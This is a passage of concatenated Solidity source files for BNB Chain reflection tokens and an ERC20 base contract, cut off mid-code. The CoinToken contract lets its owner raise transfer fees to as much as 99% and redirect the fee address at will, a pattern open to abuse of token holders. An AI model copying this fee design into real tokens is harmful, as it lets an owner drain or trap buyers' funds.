uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setRouterAddress(address newRouter) external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate)
external
onlyOwner
{
numTokensSellToAddToLiquidity = amountToUpdate;
}
}
// SPDX-License-Identifier: MIN
pragma solidity ^0.8.18;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
string private _NAME;
string private _SYMBOL;
uint256 private _DECIMALS;
address public FeeAddress;
uint256 private _MAX = ~uint256(0);
uint256 private _DECIMALFACTOR;
uint256 private _GRANULARITY = 100;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _tCharityTotal;
uint256 public _TAX_FEE;
uint256 public _BURN_FEE;
uint256 public _CHARITY_FEE;
// Track original fees to bypass fees for charity account
uint256 private ORIG_TAX_FEE;
uint256 private ORIG_BURN_FEE;
uint256 private ORIG_CHARITY_FEE;
constructor(
string memory _name,
string memory _symbol,
uint256 _decimals,
uint256 _supply,
uint256 _txFee,
uint256 _burnFee,
uint256 _charityFee,
address _FeeAddress,
address tokenOwner
) payable {
_NAME = _name;
_SYMBOL = _symbol;
_DECIMALS = _decimals;
_DECIMALFACTOR = 10**_DECIMALS;
_tTotal = _supply * _DECIMALFACTOR;
_rTotal = (_MAX - (_MAX % _tTotal));
_TAX_FEE = _txFee * 100;
_BURN_FEE = _burnFee * 100;
_CHARITY_FEE = _charityFee * 100;
ORIG_TAX_FEE = _TAX_FEE;
ORIG_BURN_FEE = _BURN_FEE;
ORIG_CHARITY_FEE = _CHARITY_FEE;
FeeAddress = _FeeAddress;
_transferOwnership(tokenOwner);
_rOwned[tokenOwner] = _rTotal;
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return uint8(_DECIMALS);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"TOKEN20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"TOKEN20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function totalCharity() public view returns (uint256) {
return _tCharityTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function setAsCharityAccount(address account) external onlyOwner {
FeeAddress = account;
}
function updateFee(
uint256 _txFee,
uint256 _burnFee,
uint256 _charityFee
) public onlyOwner {
require(_txFee < 100 && _burnFee < 100 && _charityFee < 100);
_TAX_FEE = _txFee * 100;
_BURN_FEE = _burnFee * 100;
_CHARITY_FEE = _charityFee * 100;
ORIG_TAX_FEE = _TAX_FEE;
ORIG_BURN_FEE = _BURN_FEE;
ORIG_CHARITY_FEE = _CHARITY_FEE;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "TOKEN20: approve from the zero address");
require(spender != address(0), "TOKEN20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(
sender != address(0),
"TOKEN20: transfer from the zero address"
);
require(
recipient != address(0),
"TOKEN20: transfer to the zero address"
);
require(amount > 0, "Transfer amount must be greater than zero");
// Remove fees for transfers to and from charity account or to excluded account
bool takeFee = true;
if (
FeeAddress == sender ||
FeeAddress == recipient ||
_isExcluded[recipient]
) {
takeFee = false;
}
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_standardTransferContent(sender, recipient, rAmount, rTransferAmount);
_sendToCharity(tCharity, sender);
_reflectFee(rFee, rBurn, tFee, tBurn, tCharity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _standardTransferContent(
address sender,
address recipient,
uint256 rAmount,
uint256 rTransferAmount
) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_excludedFromTransferContent(
sender,
recipient,
tTransferAmount,
rAmount,
rTransferAmount
);
_sendToCharity(tCharity, sender);
_reflectFee(rFee, rBurn, tFee, tBurn, tCharity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _excludedFromTransferContent(
address sender,
address recipient,
uint256 tTransferAmount,
uint256 rAmount,
uint256 rTransferAmount
) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_excludedToTransferContent(
sender,
recipient,
tAmount,
rAmount,
rTransferAmount
);
_sendToCharity(tCharity, sender);
_reflectFee(rFee, rBurn, tFee, tBurn, tCharity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _excludedToTransferContent(
address sender,
address recipient,
uint256 tAmount,
uint256 rAmount,
uint256 rTransferAmount
) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_bothTransferContent(
sender,
recipient,
tAmount,
rAmount,
tTransferAmount,
rTransferAmount
);
_sendToCharity(tCharity, sender);
_reflectFee(rFee, rBurn, tFee, tBurn, tCharity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _bothTransferContent(
address sender,
address recipient,
uint256 tAmount,
uint256 rAmount,
uint256 tTransferAmount,
uint256 rTransferAmount
) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _reflectFee(
uint256 rFee,
uint256 rBurn,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tCharityTotal = _tCharityTotal.add(tCharity);
_tTotal = _tTotal.sub(tBurn);
emit Transfer(address(this), address(0), tBurn);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(
tAmount,
_TAX_FEE,
_BURN_FEE,
_CHARITY_FEE
);
uint256 tTransferAmount = getTTransferAmount(
tAmount,
tFee,
tBurn,
tCharity
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rFee) = _getRBasics(
tAmount,
tFee,
currentRate
);
uint256 rTransferAmount = _getRTransferAmount(
rAmount,
rFee,
tBurn,
tCharity,
currentRate
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tBurn,
tCharity
);
}
function _getTBasics(
uint256 tAmount,
uint256 taxFee,
uint256 burnFee,
uint256 charityFee
)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(
100
);
return (tFee, tBurn, tCharity);
}
function getTTransferAmount(
uint256 tAmount,
uint256 tFee,
uint256 tBurn,
uint256 tCharity
) private pure returns (uint256) {
return tAmount.sub(tFee).sub(tBurn).sub(tCharity);
}
function _getRBasics(
uint256 tAmount,
uint256 tFee,
uint256 currentRate
) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
return (rAmount, rFee);
}
function _getRTransferAmount(
uint256 rAmount,
uint256 rFee,
uint256 tBurn,
uint256 tCharity,
uint256 currentRate
) private pure returns (uint256) {
uint256 rBurn = tBurn.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);
return rTransferAmount;
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _sendToCharity(uint256 tCharity, address sender) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[FeeAddress] = _rOwned[FeeAddress].add(rCharity);
_tOwned[FeeAddress] = _tOwned[FeeAddress].add(tCharity);
emit Transfer(sender, FeeAddress, tCharity);
}
function removeAllFee() private {
if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;
ORIG_TAX_FEE = _TAX_FEE;
ORIG_BURN_FEE = _BURN_FEE;
ORIG_CHARITY_FEE = _CHARITY_FEE;
_TAX_FEE = 0;
_BURN_FEE = 0;
_CHARITY_FEE = 0;
}
function restoreAllFee() private {
_TAX_FEE = ORIG_TAX_FEE;
_BURN_FEE = ORIG_BURN_FEE;
_CHARITY_FEE = ORIG_CHARITY_FEE;
}
function _getTaxFee() private view returns (uint256) {
return _TAX_FEE;
}
}
/**
*Submitted for verification at BscScan.com on 2023-11-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves 'amount' tokens from the caller's account to 'recipient'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves 'amount' tokens from 'sender' to 'recipient' using the
* allowance mechanism. 'amount' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning 'false' on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5,05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'recipient' cannot be the zero address.
* - the caller must have a balance of at least 'amount'.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - 'sender' and 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
* - the caller must have allowance for ''sender'''s tokens of at least
* 'amount'.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
* - 'spender' must have allowance for the caller of at least
* 'subtractedValue'.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves 'amount' of tokens from 'sender' to 'recipient'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - 'sender' cannot be the zero address.
* - 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates 'amount' tokens and assigns them to 'account', increasing
* the total supply.
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys 'amount' tokens from 'account', reducing the
* total supply.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
* - 'account' must have at least 'amount' tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
